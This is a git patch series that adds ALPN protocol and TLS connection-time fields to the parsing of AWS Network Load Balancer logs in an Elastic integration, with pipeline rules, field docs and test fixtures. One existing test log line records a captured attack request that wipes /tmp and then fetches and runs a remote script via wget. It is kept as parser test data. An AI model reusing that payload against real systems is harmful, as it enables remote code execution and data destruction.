From 9bd5b06359c15fe6d535dcc47c131c351d6eefa9 Mon Sep 17 00:00:00 2001 From: Agi K Thomas Date: Wed, 30 Oct 2024 12:31:14 +0000 Subject: [PATCH 1/3] AWS ELB add support for ALPN policy details in NLB logs --- packages/aws/changelog.yml | 5 + .../elb_logs/_dev/test/pipeline/test-alb.log | 4 + .../test/pipeline/test-alb.log-expected.json | 230 +++++++++++++++++- .../elasticsearch/ingest_pipeline/default.yml | 17 +- .../data_stream/elb_logs/fields/fields.yml | 21 +- packages/aws/docs/elb.md | 4 + packages/aws/manifest.yml | 2 +- 7 files changed, 278 insertions(+), 5 deletions(-) diff --git a/packages/aws/changelog.yml b/packages/aws/changelog.yml index 8c4d68c8d31a..0f001050f26e 100644 --- a/packages/aws/changelog.yml +++ b/packages/aws/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.30.2" + changes: + - description: Added the support for listeners with ALPN policy extension in ELB dataset for Network Load Balancers. + type: bugfix + link: https://github.com/elastic/integrations/pull/1 - version: "2.30.1" changes: - description: Update the AWS dashboard panels. diff --git a/packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log b/packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log index 2035ea4ddd2d..e21b4a0154ee 100644 --- a/packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log +++ b/packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log @@ -1,2 +1,6 @@ http 2018-07-02T22:23:00.186641Z app/my-loadbalancer/50dc6c495c0c9188 192.168.131.39:2817 10.0.0.1:80 0.000 0.001 0.000 200 200 34 366 "GET http://www.example.com:80/ HTTP/1.1" "curl/7.46.0" - - arn:aws:elasticloadbalancing:us-east-2:123456789012:targetgroup/my-targets/73e2d6bc24d8a067 "Root=1-58337262-36d228ad5d99923122bbe354" "-" "-" 0 2018-07-02T22:22:48.364000Z "forward,redirect" "-" "-" "10.0.0.1:80" "200" "-" "-" http 2022-05-12T06:41:29.051646Z app/admin-LoadB-1EGHQRJIOLMFR/3011821a43ee0c5e 67.43.156.20:41542 - -1 -1 -1 301 - 233 390 "GET http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+ a.tigoinari.tk/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" - - - "Root=1-627cac19-4c6df30820daa80e3fd72ced" "-" "-" 0 2022-05-12T06:41:29.051000Z "redirect" "https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ a.tigoinari.tk/jaws;sh+/tmp/jaws" "-" "-" "-" "Acceptable" "SpaceInUri" +tls 2.0 2018-12-20T02:59:40 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com - - - 2018-12-20T02:59:30 +tls 2.0 2020-04-01T08:51:42 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com h2 h2 "h2","http/1.1" 2020-04-01T08:51:20 +tls 2.0 2024-10-25T17:33:59 net/k8s-xxxx-xxx-xxxxxxxx/53192f3a0 46712e747de 192.168.131.39:2817 10.0.0.1:80 108 65 256 527 - arn:aws:acm:eu-central-1:XXXXXXXXXXX:certificate/25c6-4fad-9d52-7fca046bb588 - ECDHE-RSA-AES128-GCM-SHA256 tlsv12 - [oauthce.eu-central-1.XXXX.c1.XXXXX.com](https://oauthce.eu-central-1.xxxx.c1.xxxxx.com/) http/1.1 http/1.1 \"http/1.1\" 2024-10-22T19:16:57 +tls 2.0 2024-10-25T17:33:59 net/XXXXX-XXXX-XXX-us-east-2/c88927aafc9abafe 52878890095341b5 192.168.131.39:2817 10.0.0.1:80 0 - 0 0 - - - - - - - - - - 2024-10-25T17:33:59 \ No newline at end of file diff --git a/packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log-expected.json b/packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log-expected.json index 16e408602da9..3585d15f0fb0 100644 --- a/packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log-expected.json +++ b/packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log-expected.json @@ -189,6 +189,234 @@ "name": "Other", "original": "Hello, world" } + }, + { + "@timestamp": "2018-12-20T02:59:40.000Z", + "aws": { + "elb": { + "backend": { + "ip": "10.0.0.1", + "port": "80" + }, + "chosen_cert": { + "arn": "arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99" + }, + "connection_time": { + "ms": 5.0 + }, + "listener": "g3d4b5e8bb8464cd", + "name": "net/my-network-loadbalancer/c6e77e28c25b2234", + "protocol": "tcp", + "ssl_cipher": "ECDHE-RSA-AES128-SHA", + "ssl_protocol": "tlsv12", + "tls_connection_creation_time": "2018-12-20T02:59:30.000Z", + "tls_handshake_time": { + "ms": 2.0 + }, + "type": "tls" + } + }, + "cloud": { + "provider": "aws" + }, + "destination": { + "bytes": 246, + "domain": "my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "network" + ], + "end": "2018-12-20T02:59:40.000Z", + "kind": "event", + "original": "tls 2.0 2018-12-20T02:59:40 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com - - - 2018-12-20T02:59:30" + }, + "source": { + "address": "192.168.131.39", + "bytes": 98, + "ip": "192.168.131.39", + "port": 2817 + }, + "tags": [ + "preserve_original_event" + ], + "tls": { + "cipher": "ECDHE-RSA-AES128-SHA", + "version": "1.2", + "version_protocol": "tls" + } + }, + { + "@timestamp": "2020-04-01T08:51:42.000Z", + "aws": { + "elb": { + "alpn_be_protocol": "h2", + "alpn_client_preference_list": "h2\",\"http/1.1", + "alpn_fe_protocol": "h2", + "backend": { + "ip": "10.0.0.1", + "port": "80" + }, + "chosen_cert": { + "arn": "arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99" + }, + "connection_time": { + "ms": 5.0 + }, + "listener": "g3d4b5e8bb8464cd", + "name": "net/my-network-loadbalancer/c6e77e28c25b2234", + "protocol": "tcp", + "ssl_cipher": "ECDHE-RSA-AES128-SHA", + "ssl_protocol": "tlsv12", + "tls_connection_creation_time": "2020-04-01T08:51:20.000Z", + "tls_handshake_time": { + "ms": 2.0 + }, + "type": "tls" + } + }, + "cloud": { + "provider": "aws" + }, + "destination": { + "bytes": 246, + "domain": "my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "network" + ], + "end": "2020-04-01T08:51:42.000Z", + "kind": "event", + "original": "tls 2.0 2020-04-01T08:51:42 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com h2 h2 \"h2\",\"http/1.1\" 2020-04-01T08:51:20" + }, + "source": { + "address": "192.168.131.39", + "bytes": 98, + "ip": "192.168.131.39", + "port": 2817 + }, + "tags": [ + "preserve_original_event" + ], + "tls": { + "cipher": "ECDHE-RSA-AES128-SHA", + "version": "1.2", + "version_protocol": "tls" + } + }, + { + "@timestamp": "2024-10-25T17:33:59.000Z", + "aws": { + "elb": { + "alpn_be_protocol": "http/1.1", + "alpn_client_preference_list": "http/1.1", + "alpn_fe_protocol": "http/1.1", + "backend": { + "ip": "10.0.0.1", + "port": "80" + }, + "chosen_cert": { + "arn": "arn:aws:acm:eu-central-1:XXXXXXXXXXX:certificate/25c6-4fad-9d52-7fca046bb588" + }, + "connection_time": { + "ms": 108.0 + }, + "listener": "46712e747de", + "name": "net/k8s-xxxx-xxx-xxxxxxxx/53192f3a0", + "protocol": "tcp", + "ssl_cipher": "ECDHE-RSA-AES128-GCM-SHA256", + "ssl_protocol": "tlsv12", + "tls_connection_creation_time": "2024-10-22T19:16:57.000Z", + "tls_handshake_time": { + "ms": 65.0 + }, + "type": "tls" + } + }, + "cloud": { + "provider": "aws" + }, + "destination": { + "bytes": 527, + "domain": "[oauthce.eu-central-1.XXXX.c1.XXXXX.com](https://oauthce.eu-central-1.xxxx.c1.xxxxx.com/)" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "network" + ], + "end": "2024-10-25T17:33:59.000Z", + "kind": "event", + "original": "tls 2.0 2024-10-25T17:33:59 net/k8s-xxxx-xxx-xxxxxxxx/53192f3a0 46712e747de 192.168.131.39:2817 10.0.0.1:80 108 65 256 527 - arn:aws:acm:eu-central-1:XXXXXXXXXXX:certificate/25c6-4fad-9d52-7fca046bb588 - ECDHE-RSA-AES128-GCM-SHA256 tlsv12 - [oauthce.eu-central-1.XXXX.c1.XXXXX.com](https://oauthce.eu-central-1.xxxx.c1.xxxxx.com/) http/1.1 http/1.1 \\\"http/1.1\\\" 2024-10-22T19:16:57" + }, + "source": { + "address": "192.168.131.39", + "bytes": 256, + "ip": "192.168.131.39", + "port": 2817 + }, + "tags": [ + "preserve_original_event" + ], + "tls": { + "cipher": "ECDHE-RSA-AES128-GCM-SHA256", + "version": "1.2", + "version_protocol": "tls" + } + }, + { + "@timestamp": "2024-10-25T17:33:59.000Z", + "aws": { + "elb": { + "backend": { + "ip": "10.0.0.1", + "port": "80" + }, + "connection_time": { + "ms": 0.0 + }, + "listener": "52878890095341b5", + "name": "net/XXXXX-XXXX-XXX-us-east-2/c88927aafc9abafe", + "protocol": "tcp", + "tls_connection_creation_time": "2024-10-25T17:33:59.000Z", + "type": "tls" + } + }, + "cloud": { + "provider": "aws" + }, + "destination": { + "bytes": 0 + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "network" + ], + "end": "2024-10-25T17:33:59.000Z", + "kind": "event", + "original": "tls 2.0 2024-10-25T17:33:59 net/XXXXX-XXXX-XXX-us-east-2/c88927aafc9abafe 52878890095341b5 192.168.131.39:2817 10.0.0.1:80 0 - 0 0 - - - - - - - - - - 2024-10-25T17:33:59" + }, + "source": { + "address": "192.168.131.39", + "bytes": 0, + "ip": "192.168.131.39", + "port": 2817 + }, + "tags": [ + "preserve_original_event" + ] } ] -} \ No newline at end of file +} diff --git a/packages/aws/data_stream/elb_logs/elasticsearch/ingest_pipeline/default.yml b/packages/aws/data_stream/elb_logs/elasticsearch/ingest_pipeline/default.yml index 7b2930e40c6f..dfe54cbc5e44 100644 --- a/packages/aws/data_stream/elb_logs/elasticsearch/ingest_pipeline/default.yml +++ b/packages/aws/data_stream/elb_logs/elasticsearch/ingest_pipeline/default.yml @@ -54,8 +54,8 @@ processors: %{NOTSPACE:aws.elb.listener} %{ELBSOURCE} %{ELBBACKEND} - %{NUMBER:aws.elb.connection_time.ms:float} - %{NUMBER:aws.elb.tls_handshake_time.ms:float} + (?:-|%{NUMBER:aws.elb.connection_time.ms:float}) + (?:-|%{NUMBER:aws.elb.tls_handshake_time.ms:float}) %{NUMBER:source.bytes:long} %{NUMBER:destination.bytes:long} (?:-|%{NUMBER:aws.elb.incoming_tls_alert}) @@ -64,6 +64,10 @@ processors: %{ELBSSL} (?:-|%{NOTSPACE:aws.elb.ssl_named_group}) (?:-|%{NOTSPACE:destination.domain}) + (?:-|%{NOTSPACE:aws.elb.alpn_fe_protocol}) + (?:-|%{NOTSPACE:aws.elb.alpn_be_protocol}) + (?:-|\\?\"%{DATA:aws.elb.alpn_client_preference_list}\\?\") + (?:%{TIMESTAMP_ISO8601:aws.elb.tls_connection_creation_time_str}|-) pattern_definitions: ELBTIMESTAMP: '%{TIMESTAMP_ISO8601:_tmp.timestamp}' @@ -221,6 +225,15 @@ processors: field: - _tmp ignore_missing: true + - date: + field: aws.elb.tls_connection_creation_time_str + target_field: aws.elb.tls_connection_creation_time + formats: ["ISO8601"] + "if": "ctx?.aws?.elb?.tls_connection_creation_time_str != null && ctx?.aws?.elb?.tls_connection_creation_time_str != '-' && ctx?.aws?.elb?.tls_connection_creation_time_str != ''" + - remove: + field: aws.elb.tls_connection_creation_time_str + ignore_missing: true + on_failure: - set: field: event.kind diff --git a/packages/aws/data_stream/elb_logs/fields/fields.yml b/packages/aws/data_stream/elb_logs/fields/fields.yml index 1331f6d9befe..a5c84e4ec27a 100644 --- a/packages/aws/data_stream/elb_logs/fields/fields.yml +++ b/packages/aws/data_stream/elb_logs/fields/fields.yml @@ -116,4 +116,23 @@ type: keyword description: > The classification reason code. - + + - name: alpn_fe_protocol + type: keyword + description: > + The application protocol negotiated with the client. + + - name: alpn_be_protocol + type: keyword + description: > + The application protocol negotiated with the target. + + - name: alpn_client_preference_list + type: keyword + description: > + The value of the application_layer_protocol_negotiation extension in the client hello message. This value is URL-encoded. + + - name: tls_connection_creation_time + type: date + description: > + The time recorded at the beginning of the TLS connection. diff --git a/packages/aws/docs/elb.md b/packages/aws/docs/elb.md index 57b3585d7483..58e4da636adf 100644 --- a/packages/aws/docs/elb.md +++ b/packages/aws/docs/elb.md @@ -79,6 +79,9 @@ Please refer to the following [document](https://www.elastic.co/guide/en/ecs/cur |---|---|---| | @timestamp | Event timestamp. | date | | aws.elb.action_executed | The action executed when processing the request (forward, fixed-response, authenticate...). It can contain several values. | keyword | +| aws.elb.alpn_be_protocol | The application protocol negotiated with the target. | keyword | +| aws.elb.alpn_client_preference_list | The value of the application_layer_protocol_negotiation extension in the client hello message. This value is URL-encoded. | keyword | +| aws.elb.alpn_fe_protocol | The application protocol negotiated with the client. | keyword | | aws.elb.backend.http.response.status_code | The status code from the backend (status code sent to the client from ELB is stored in `http.response.status_code` | long | | aws.elb.backend.ip | The IP address of the backend processing this connection. | keyword | | aws.elb.backend.port | The port in the backend processing this connection. | keyword | @@ -102,6 +105,7 @@ Please refer to the following [document](https://www.elastic.co/guide/en/ecs/cur | aws.elb.target_group.arn | The ARN of the target group handling the request. | keyword | | aws.elb.target_port | List of IP addresses and ports for the targets that processed this request. | keyword | | aws.elb.target_status_code | List of status codes from the responses of the targets. | keyword | +| aws.elb.tls_connection_creation_time | The time recorded at the beginning of the TLS connection. | date | | aws.elb.tls_handshake_time.ms | The total time for the TLS handshake to complete in milliseconds once the connection has been established. | long | | aws.elb.tls_named_group | The TLS named group. | keyword | | aws.elb.trace_id | The contents of the `X-Amzn-Trace-Id` header. | keyword | diff --git a/packages/aws/manifest.yml b/packages/aws/manifest.yml index 542508fb8167..7884ce3c5e59 100644 --- a/packages/aws/manifest.yml +++ b/packages/aws/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.0 name: aws title: AWS -version: 2.30.1 +version: 2.30.2 description: Collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent. type: integration categories: From c0c87307fd95ebece260ebf1dffbe079244e085f Mon Sep 17 00:00:00 2001 From: Agi K Thomas Date: Wed, 30 Oct 2024 12:36:51 +0000 Subject: [PATCH 2/3] Updated PR link --- packages/aws/changelog.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/aws/changelog.yml b/packages/aws/changelog.yml index 0f001050f26e..81efb66f132b 100644 --- a/packages/aws/changelog.yml +++ b/packages/aws/changelog.yml @@ -3,7 +3,7 @@ changes: - description: Added the support for listeners with ALPN policy extension in ELB dataset for Network Load Balancers. type: bugfix - link: https://github.com/elastic/integrations/pull/1 + link: https://github.com/elastic/integrations/pull/11590 - version: "2.30.1" changes: - description: Update the AWS dashboard panels. From a2dbb28f13c4c5cc688daf5af35707c83091e60d Mon Sep 17 00:00:00 2001 From: Agi K Thomas Date: Wed, 30 Oct 2024 15:29:39 +0000 Subject: [PATCH 3/3] Minor update to changelog --- packages/aws/changelog.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/aws/changelog.yml b/packages/aws/changelog.yml index 81efb66f132b..e00d8dc8d1d4 100644 --- a/packages/aws/changelog.yml +++ b/packages/aws/changelog.yml @@ -1,7 +1,7 @@ # newer versions go on top - version: "2.30.2" changes: - - description: Added the support for listeners with ALPN policy extension in ELB dataset for Network Load Balancers. + - description: Add the support for listeners with ALPN policy extension in ELB dataset for Network Load Balancers. type: bugfix link: https://github.com/elastic/integrations/pull/11590 - version: "2.30.1"